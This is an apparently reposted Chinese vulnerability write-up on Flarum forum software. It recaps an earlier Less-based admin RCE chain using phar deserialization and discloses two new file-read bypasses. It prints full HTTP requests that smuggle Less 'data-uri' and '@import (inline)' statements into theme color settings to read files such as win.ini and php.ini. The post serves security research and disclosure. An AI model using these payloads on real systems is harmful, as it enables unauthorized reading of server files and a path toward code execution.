文章总结: 本文回顾FlarumLessRCE历史漏洞,并披露了新的绕过发现。作者通过分析主题色设置功能,发现利用Less的data-uri和@import语法仍可实现任意文件读取,且前者有大小限制后者无限制。虽官方因需管理员权限未修复,但该研究展示了深入挖掘已知漏洞链的思路与价值。 综合评分: 90 文章分类: 漏洞分析,代码审计,渗透测试,WEB安全,漏洞POC
从 Vite 漏洞联想到 Flarum Less RCE
原创
sw0rd1ight sw0rd1ight
剑指安全
2026年1月31日 13:01 湖北
上一篇Vite相关的漏洞涉及到的一些文件读取姿势(如inline、import等语法)让我想起了p牛2022年写的这篇文章《从偶遇Flarum开始的RCE之旅》 https://www.leavesongs.com/PENETRATION/flarum-rce-tour.html
这篇文章中详细记录了p牛从一个Flarum论坛后台开始,逐步分析并最终实现远程代码执行(RCE)的过程。整个过程结合了代码审计和巧妙的漏洞利用链构造。其中最终达到RCE的关键是利用了Less的data-uri和@import (inline)语法
0x01 重点回顾
less语言官方对data-uri和@import (inline)语法的说明如下
从上述描述中看起来只是跟文件读取有关,但是描述读取的都是正常的静态资源文件。但是p牛深入分析了php的Less库源码发现其中存在一些疏漏最终可以达到任意文件读取和可控文件写入
-
任意文件读取
:通过
data-uri()语法,可以读取服务器上的任意文件 -
可控文件写入
:通过
@import (inline)语法配合data:协议,可以将任意内容写入到生成的CSS文件(forum.css)的开头
最终将上述发现串联在一起之后得到一个后台RCE
- 写入恶意Payload:在后台自定义CSS中,使用
@import (inline) 'data:,...'语法,将一个恶意构造的tar格式的phar文件内容写入到forum.css文件的开头 - 触发反序列化:再次修改自定义CSS,使用
data-uri('phar://./assets/forum.css')去包含刚才写入的文件。当PHP解析phar://协议时,会自动反序列化phar文件中嵌入的元数据(metadata) - 执行任意命令:利用Flarum已使用的
monolog日志库中的一条已知反序列化利用链,在反序列化时成功执行了系统命令达到RCE
0x02 官方补丁分析
后续Flarum官方是通过正则限制后台自定义的less语句不能使用上述2语法进行修复
0x03 新的发现
2年之后,在官方修复了该漏洞之后我再次进行深入分析,发现还有2处由于less编译导致的任意文件读取/RCE
主要是在站点的主题色设置的位置,第一主题色的设置和第二主题色的设置Fluam后端都会使用less进行编译
以下以实现文件读取进行验证
(因为PHP 8.0以上就不再支持phar反序列化了,所以达到RCE有php版本的限制,时代的眼泪)
主题色设置-任意文件读取
这个例子使用data-uri实现文件读取,发送如下请求
POST /flarumtest/public/api/settings HTTP/1.1Host: localhost:82Content-Length: 107sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"X-CSRF-Token: I8tUWRAOy5ix2aiCcszeu8wvhsIFWsDD0Wt9RWFLsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Content-Type: application/json; charset=UTF-8Accept: */*Origin: http://localhost:82Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:82/flarumtest/public/adminAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: flarum_session=oEcOtlAFo9XqbPJ80U1KXWGAhgOWCnMEK55Kkdy6Connection: close
{"theme_primary_color":"#1f6cd1; .test {content: data-uri('C:/Windows/win.ini');}","theme_dark_mode":false}
保存成功后会返回204,后续我们回到首页刷新一下,再访问编译后的css文件(其中包含文件内容的css文件有2个,/public/assets/forum.css和/public/assets/forum-en.css,不过forum-en.css的内容更为干净,只包含我们自定义的样式),即可看到base64编码后的文件内容。
实际调试过程中,发现要使用data-uri成功读取到文件,要求文件小于32k(最开始我尝试读取的文件是php.ini,然后死活读不出来,仔细一看原来是对文件大小有限制)
第二主题色设置-任意文件读取
这个和上面的基本一致,只不过是参数存在差异。下面使用p牛说的另外一个法子@import来进行演示读取文件,这个法子对读取的文件内容没有大小限制,并且文件内容为明文
POST /flarumtest/public/api/settings HTTP/1.1Host: localhost:82Content-Length: 103sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"X-CSRF-Token: I8tUWRAOy5ix2aiCcszeu8wvhsIFWsDD0Wt9RWFLsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Content-Type: application/json; charset=UTF-8Accept: */*Origin: http://localhost:82Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:82/flarumtest/public/adminAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: flarum_session=oEcOtlAFo9XqbPJ80U1KXWGAhgOWCnMEK55Kkdy6Connection: close
{"theme_secondary_color":"#1f6cd1; @import (inline) \"C:/xampp/php/php.ini\";","theme_dark_mode":false}
类似的访问/flarumtest/public/assets/forum-en.css即可看到文件内容
0x04 小插曲
后续这些新发现有上报给官方
不过遗憾的是官方认为需要管理员权限,而拥有了Flarum管理员权限基本就可以做任何事情,所以不认为是漏洞。这两个漏洞中涉及的接口功能是修改系统颜色,但它实际上可以读取系统中不同的文件,甚至引发 RCE,这个其实是开发者预期之外的危害,不过确实需要权限的比较高,所以不当作漏洞修复也是没有问题的。
0x05 总结
- 其实是因为以前分析过p牛发现过的less导致rce的漏洞,接触过一些相关概念,所以在vite的第一个洞通报的时候,我才能很快理解大概原理并定位到关键点
- p牛这些业界大佬的文章确实需要潜下心来进行细致研读
- 上篇文章的评论区好像质疑vite这些漏洞的意义不大,但是其实作为一名业余的安全研究者(因为现在更多时间花在了开发和AI上,所以在安全上略显业余)来说侧重的是深入分析并进一步有所发现的过程
上述分析仅仅用于安全学习和研究
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:剑指安全 sw0rd1ight sw0rd1ight《从 Vite 漏洞联想到 Flarum Less RCE》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论